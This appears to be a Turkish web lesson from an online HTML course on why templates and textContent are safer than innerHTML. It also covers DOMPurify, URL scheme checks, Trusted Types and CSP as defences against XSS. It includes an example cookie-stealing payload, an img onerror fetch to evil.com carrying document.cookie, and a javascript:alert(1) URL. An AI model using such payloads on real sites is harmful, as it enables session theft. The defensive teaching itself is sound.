Şablonlar ve innerHTML Güvenliği
Şablonların innerHTML ayarlamaktan neden daha güvenli olduğunu anlayın
Şablonlar ve innerHTML Güvenliği, CoddyKit'te ücretsiz bir HTML Academy dersidir. Bu, 4 dersinin 4. dersidir. Aşağıdan dersin tamamını ücretsiz okuyabilir, sonra tarayıcıda yerleşik kod editörü ve 7/24 yapay zeka koçu ile uygulamalı olarak pratik yapabilirsin. Bu, HTML Academy öğrenme yolunun bir parçasıdır ve ilerlemeniz web ve CoddyKit uygulaması arasında senkronize olur. HTML Academy kursu toplamda 4 dersten oluşur.
innerHTML Enjeksiyonu Riski
el.innerHTML = userInput ifadesi dizeyi HTML olarak ayrıştırır. userInput içinde <script> veya onerror gibi olay işleyicileri varsa tarayıcı bunları çalıştırır ve Siteler Arası Komut Dosyası Çalıştırma (XSS) güvenlik açığı oluşturur.
innerHTML ile XSS Örneği
Bir saldırgan bir kullanıcı adı gönderir: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. Bu içerik innerHTML ile görüntülenirse onerror çalışır ve oturum çerezini dışarı sızdırır. Metin içeriği çalıştırılabilir koda dönüşür.
textContent Güvenlidir
el.textContent = userInput dizeyi düz metin olarak işler; HTML ayrıştırılmaz ve betik çalıştırılmaz. Tarayıcı, metin düğümlerinde < ve > işaretlerini otomatik olarak kaçar. Kullanıcı tarafından sağlanan değerler için her zaman textContent kullanın.
// SAFE
nameEl.textContent = user.displayName;
// DANGEROUS
nameEl.innerHTML = user.displayName;template Öğesi Dize Ayrıştırmasını Önler
template.cloneNode(true) kullanıldığında yapı, kullanıcı tarafından sağlanan bir dizeden değil, önceden ayrıştırılmış bir HTML template'inden gelir. Klonlanan düğümlerdeki değerleri textContent ile ayarlamak, kullanıcı verilerini ayrıştırılmış HTML'ye değil, metin düğümlerine yerleştirir. Yapı ve veri birbirinden ayrılır.
innerHTML Gerektiğinde Temizleme
Kullanıcılardan gelen HTML biçimlendirmesi gerekiyorsa (zengin metin), innerHTML ayarlamadan önce içeriği temizleyin. DOMPurify standart kütüphanedir: el.innerHTML = DOMPurify.sanitize(richHtml). Güvenli biçimlendirmeyi korurken tehlikeli etiketleri ve öznitelikleri çıkarır.
insertAdjacentHTML Riski
insertAdjacentHTML("beforeend", html) de HTML dizelerini ayrıştırır; innerHTML ile aynı XSS riskini taşır. Aynı temizleme kurallarını uygulayın. Daha güvenli alternatif şudur: createElement ile öğeler oluşturun, textContent değerlerini ayarlayın ve appendChild kullanın.
setAttribute Güvenliği
Kullanıcı verileriyle öznitelik ayarlamak enjeksiyona yol açabilir: el.setAttribute("href", userUrl) ifadesinde userUrl değeri javascript:alert(1) ise XSS oluşur. URL şemalarını doğrulayın: href veya src özniteliklerini ayarlamadan önce yalnızca http:, https: ve mailto: şemalarına izin verin.
DOM Karartma
DOM karartma, adlandırılmış form öğelerinin (id="getElementById") genel JavaScript değişkenlerini geçersiz kıldığı bir saldırıdır. Öğelere genel window özellikleri üzerinden değil, her zaman document.getElementById() aracılığıyla erişin. İçerik Güvenlik Politikası da karartma saldırılarını azaltır.
Trusted Types Politikası
Trusted Types (CSP aracılığıyla uygulanan Chrome özelliği), tüm innerHTML, insertAdjacentHTML ve benzer veri giriş noktalarının politika tarafından sarmalanmış dizeler almasını gerektirir. Ham dizeler atanamaz; yalnızca bildirilmiş bir TrustedTypes politikası tarafından oluşturulan değerler kullanılabilir. Bu, temizlemenin yanlışlıkla atlanmasını önler.
DocumentFragment Güvenliği
DOM API'siyle (createElement, createTextNode) öğeler oluşturmak ve bunları bir DocumentFragment içinde işlemek, doğası gereği XSS'e karşı güvenlidir; metin her zaman metindir, hiçbir zaman ayrıştırılmış HTML değildir. DocumentFragments, karmaşık dinamik kullanıcı arayüzleri oluşturmanın en güvenli yoludur.
İçerik Güvenlik Politikası
Sıkı bir CSP (unsafe-inline kullanılmayan, nonce tabanlı betikler), XSS'e karşı katmanlı savunma sağlar. Saldırgan HTML enjekte etse bile CSP, enjekte edilen betiklerin çalışmasını önler. CSP, temizleme gereksinimini ortadan kaldırmaz; birincil savunma değil, güvenlik ağıdır.
Bilgi Kontrolü
Kullanıcı tarafından sağlanan verileri görüntülerken textContent neden innerHTML'den daha güvenlidir?
Özet
innerHTML ve ilgili API'ler HTML dizelerini ayrıştırır; kullanıcı verileri temizlenmeden birleştirildiğinde XSS güvenlik açıkları oluşturur. textContent, textContent ile doldurulan template klonlama, zengin metin için DOMPurify ve İçerik Güvenlik Politikası kullanmak, HTML enjeksiyonu saldırılarına karşı katmanlı savunma sağlar.
Yapay zeka eğitmeniyle HTML öğren — ücretsiz
Tarayıcında gerçek kod yaz ve çalıştır, 7/24 yapay zeka eğitmeninden anında yardım al; web'de ya da uygulamada kaldığın yerden devam et.
- Kurslar
- 40
- Dersler
- 159
Sıkça Sorulan Sorular
“Şablonlar ve innerHTML Güvenliği” dersi ücretsiz mi?
Evet — “Şablonlar ve innerHTML Güvenliği” dersin tüm metni burada web'de ücretsiz olarak okunabilir. Etkileşimli olarak pratik yapmak (yerleşik kod editörü ve 7/24 yapay zeka koçu) ve HTML Academy kursunun geri kalanını açmak için CoddyKit PRO'ya yükselt. HTML Academy kursu toplamda 4 dersten oluşur.
“Şablonlar ve innerHTML Güvenliği” dersinde ne öğreneceğim?
Şablonların innerHTML ayarlamaktan neden daha güvenli olduğunu anlayın HTML Academy ile uygulamalı kodu tarayıcıda doğrudan çalıştırarak pratik yaparsın ve 7/24 yapay zeka koçu dersi çalışırken sorularını yanıtlar.
HTML Academy öğrenmeye başlamak için deneyim gerekli mi?
Önceden deneyim gerekmez. CoddyKit'te HTML Academy, başlangıçtan ileri seviyeye kadar yapılandırıldığı için buradan başlayabilir veya başından başlayıp kendi hızında ilerleme yapabilirsin. Bu, 4 dersinin 4. dersidir.
“Şablonlar ve innerHTML Güvenliği” dersi ne kadar sürer?
Çoğu CoddyKit dersi yaklaşık 5–10 dakika sürer. Her biri kısa ve etkileşimli olduğu için sabit ilerleme yaparsın ve web ile uygulama arasında tam olarak bıraktığın yerden devam edebilirsin.
Bu HTML Academy dersinde kod yazıp çalıştırabilir miyim?
Evet. Her HTML Academy dersi yerleşik bir kod editörü içerir, bu sayede tarayıcıda gerçek kod yazıp çalıştırabilir ve anlık yapay zeka geri bildirimi alırsın — yerel kurulum gerekli değildir.
Bu kursun tüm dersleri
- template Öğesi: İşlenmeyen İçerik
- cloneNode ile Şablonları Klonlama
- JavaScript ile Görüntülemede template Kullanımı
- Şablonlar ve innerHTML Güvenliği